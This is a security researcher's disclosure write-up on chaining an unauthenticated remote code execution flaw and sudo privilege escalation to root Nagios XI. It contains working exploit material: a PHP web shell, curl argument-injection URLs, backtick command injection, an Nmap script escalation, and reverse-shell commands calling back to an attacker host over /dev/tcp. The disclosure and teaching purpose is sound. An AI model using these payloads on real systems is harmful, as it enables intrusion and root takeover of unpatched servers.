Rooting Nagios Via Outdated Libraries

Nagios XI vulnerable since 2012

Chris Lyne
Jan 22, 2019 · 10 min read

What’s the deal?

For around six years Nagios XI could be remotely rooted by an unauthenticated attacker. Nagios XI included an outdated library, MagpieRSS (and therefore, Snoopy). The inclusion of this library created an unauthenticated remote code execution (RCE) vector (CVE-2018–15708) until Nagios patched it in late 2018. A separate vulnerability in Nagios XI, CVE-2018–15710, allowed for local privilege escalation (LPE). These vulnerabilities can be combined to gain a root shell on a Nagios XI 5.5.6 instance.

Why does this matter?

Nagios claims to have over 9,000 customers, including companies such as Cisco and PayPal. A search on Shodan.io for “Nagios” yields over 4,000 results.

Vulnerability Details

The RCE vulnerability mentioned above merely gains privileges as the ‘apache’ user. Fortunately (or unfortunately, depending on how you look at it), there have been ways to escalate privileges to root on Nagios XI since version 2012r1.0. Interestingly enough, the LPE vulnerability in version 2012r1.0 is different from the LPE found in 5.5.6.

PHP Code Execution via MagpieRSS and Snoopy

Nagios XI includes a vulnerable component. The code execution vulnerability can be triggered by sending a crafted request to magpie_debug.php. Let’s walk through the code to show how this works. I have added comments to point out the lines of interest. Also, for the sake of brevity, some lines have been removed from the snippets. These lines are denoted by an inline comment of “snip” (e.g. // snip).

// snip
// magpie_debug.php
if ( isset($_GET['url']) ) {
$url = $_GET['url']; // 1
}
else {
$url = 'http://magpierss.sf.net/test.rss';
}
test_library_support();
$rss = fetch_rss( $url ); // 2
// snip
// rss_fetch.inc
// snip
function fetch_rss ($url) {
// initialize constants
init();

if ( !isset($url) ) {
error("fetch_rss called without a url");
return false;
}

// if cache is disabled
if ( !MAGPIE_CACHE_ON ) {
// fetch file, and parse it
$resp = _fetch_remote_file( $url ); // 3
// snip
// rss_fetch.inc
// snip
function _fetch_remote_file ($url, $headers = "" ) {
// Snoopy is an HTTP client in PHP
$client = new Snoopy(); // 4
$client->agent = MAGPIE_USER_AGENT;
$client->read_timeout = MAGPIE_FETCH_TIME_OUT;
$client->use_gzip = MAGPIE_USE_GZIP;
if (is_array($headers) ) {
$client->rawheaders = $headers;
}

@$client->fetch($url); // 5
return $client;
}
// snip
// Snoopy.class.inc
// snip
function fetch($URI)
{

// preg_match("|^([^:]+)://([^:/]+)(:[\d]+)*(.*)|",$URI,$URI_PARTS);
$URI_PARTS = parse_url($URI);
if (! empty($URI_PARTS["user"]))
$this->user = $URI_PARTS["user"];
if (! empty($URI_PARTS["pass"]))
$this->pass = $URI_PARTS["pass"];
switch ($URI_PARTS["scheme"]) {
case "http":
// snip
case "https":
if (! $this->curl_path || (! is_executable($this->curl_path))) {
$this->error = "Bad curl ($this->curl_path), can't fetch HTTPS \n";
return false;
}
$this->host = $URI_PARTS["host"];
if (! empty($URI_PARTS["port"]))
$this->port = $URI_PARTS["port"];
if ($this->_isproxy) {
// using proxy, send entire URI
$this->_httpsrequest($URI, $URI, $this->_httpmethod); //6
} else {
$path = $URI_PARTS["path"] . ($URI_PARTS["query"] ? "?" . $URI_PARTS["query"] : "");
// no proxy, send only the path
$this->_httpsrequest($path, $URI, $this->_httpmethod); //6
}
// snip
// Snoopy.class.inc
// snip
function _httpsrequest($url,$URI,$http_method,$content_type="",$body="")
{
// snip
exec(
$this->curl_path." -D \"/tmp/$headerfile\"".
escapeshellcmd($cmdline_params)." ".
escapeshellcmd($URI), // 7
$results,
$return
);
// snip

Constructing the Exploit

Curl has an option (-o) which enables the user to write the HTTP response to a file instead of standard output:

-o, --output FILE Write to FILE instead of stdout
  1. If an HTTPS URI is given, the curl binary will be exec()’d to request this URI as-is. No validation or sanitization takes place.
  2. Arbitrary arguments can be injected into the curl command.
  1. With this listener, host a file containing malicious PHP code.
  2. Craft a request to magpie_debug.php that does the following: a) Specifies a URI pointing to our malicious PHP file. b) Injects the “-o” flag, writing the response to a location on disk. (Note: The location must be writable by the ‘apache’ user and publicly accessible using a web browser.)
find /usr/local/ -type d -user apache

The Exploit, Really

I won’t show you how to create an HTTPS listener (must be HTTPS), but you can view it in the full exploit code online. Our listener will respond with the following:

<?php system($_GET['cmd']); ?>
https://192.168.1.208/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php?url=https://192.168.1.191:8080/%20-o%20/usr/local/nagvis/share/exec.php
https://192.168.1.208/nagvis/exec.php?cmd=whoami

Multiple Local Privilege Escalations

There are two reasons why privilege escalation is possible in version 5.5.6:

  1. This script can be launched using ‘sudo’ without a password due to an entry in the /etc/sudoers file.

/etc/sudoers

While enumerating the operating system inside an SSH session, I found some intriguing entries in the /etc/sudoers file:

User_Alias      NAGIOSXI=nagios
User_Alias NAGIOSXIWEB=apache
...
NAGIOSXI ALL = NOPASSWD:/usr/bin/php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php *
...
NAGIOSXIWEB ALL = NOPASSWD:/usr/bin/php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php *

SourceGuardian PHP Encoder

Ever heard of SourceGuardian? I hadn’t. And I won’t forget it. It’s a protection mechanism that compiles PHP source code and then encrypts it. For the security researcher, this makes life a bit more difficult. Instead of simply being able to read the PHP source of autodiscover_new.php, the source looks like this (though this is only a snippet):

autodiscover_new.php
$ php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php --help
#/usr/bin/php -q
Nagios XI Auto-Discovery Tool
Copyright (c) 2010-2017 Nagios Enterprises, LLC
Portions Copyright (c) others - see source code
License: Nagios Open Software License <http://www.nagios.com/legal/licenses>
Usage: /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php --addresses=<scanrange> [--ignore=<ignore>] [--parent=<parent>] [--output=<output>] [--onlynew=<new>]<scanrange> = The IP addresses or network ranges to scan.
<ignore> = IP addresses to ignore.
<parent> = Default parent for newly found devices.
<option> = File used to store results.
$ php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php --addresses=127.0.0.1
#/usr/bin/php -q
WARNING: No targets were specified, so 0 hosts scanned.
Starting Nmap 6.47 ( http://nmap.org ) at 2018-11-06 05:07 EST
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.02 seconds
<scanresults>
</scanresults>
$ php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php --addresses=127.0.0.1/1
#/usr/bin/php -q
sh: line 1: 7797 Killed /usr/sbin/fping -a -r 1 -g 127.0.0.1/1 2> /dev/null
Starting Nmap 6.47 ( http://nmap.org ) at 2018-11-06 05:08 EST
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.35 seconds
<scanresults>
</scanresults>
$ strace -s 200 -f -o strace.txt php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php --addresses=127.0.0.1/1
execve("/bin/sh", ["sh", "-c", "/usr/sbin/fping -a -r 1 -g 127.0.0.1/1 2> /dev/null"], [/* 26 vars */]) = 0
execve("/usr/sbin/fping", ["/usr/sbin/fping", "-a", "-r", "1", "-g", "127.0.0.1/1"], [/* 25 vars */]) = 0

The 5.5.6 Exploit — autodiscover_new.php

Hold on for one moment. As of now, we know the following:

  1. A command injection vulnerability exists in autodiscover_new.php.
$ whoami
nagios
$ sudo php /usr/local/nagiosxi/html/includes/components/autodiscovery/scripts/autodiscover_new.php --addresses='127.0.0.1/1`/bin/bash > $(tty)`'
#/usr/bin/php -q
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

2012r1.0 Exploit — Elevating Privileges via Nmap Scripting Engine

The privilege escalation technique is similar in the 2012r1.0 version of Nagios XI. Again, there is an entry in /etc/sudoers that enables the ‘apache’ user to execute a command without a password. However, it’s different in this version. Instead of autodiscover_new.php, the ‘nmap’ binary is specified.

$ whoami
nagios
$ echo 'os.execute("/bin/bash")' > /var/tmp/shell.nse && sudo nmap --script /var/tmp/shell.nse
Starting Nmap 5.51 ( http://nmap.org ) at 2018-11-06 01:42 EST
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Combining the Exploits

Let’s take a second to remember what we have accomplished:

  1. We can locally escalate privileges to gain a root shell.
$ nc -l 4444

5.5.6

https://192.168.1.208/nagvis/exec.php?cmd=sudo%20php%20%2Fusr%2Flocal%2Fnagiosxi%2Fhtml%2Fincludes%2Fcomponents%2Fautodiscovery%2Fscripts%2Fautodiscover_new.php%20--addresses%3D%27127.0.0.1%2F0%60%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.191%2F4444%200%3E%261%60%27

2012r1.0

https://192.168.1.208/nagiosql/exec.php?cmd=echo%20%27os.execute%28%22%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.191%2F4444%200%3E%261%22%29%27%20%3E%3E%20%2Fvar%2Ftmp%2Fshell.nse%20%26%26%20sudo%20nmap%20-p%2080%20192.168.1.1%20--script%20%2Fvar%2Ftmp%2Fshell.nse
$ nc -l 4444
bash: no job control in this shell
# whoami
whoami
root
# id
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:httpd_t:s0

Final Notes

I’d like to point out that these vulnerabilities, while the most severe, were not the only bugs found in Nagios XI. For more information, check out the Tenable Research Advisory. Also, Nagios was a pleasure to work with during the disclosure process. Communications were timely, and a patch was issued very quickly. Take a look at their security issues page for remediation guidance.

Tenable TechBlog

Learn how Tenable finds new vulnerabilities and writes the…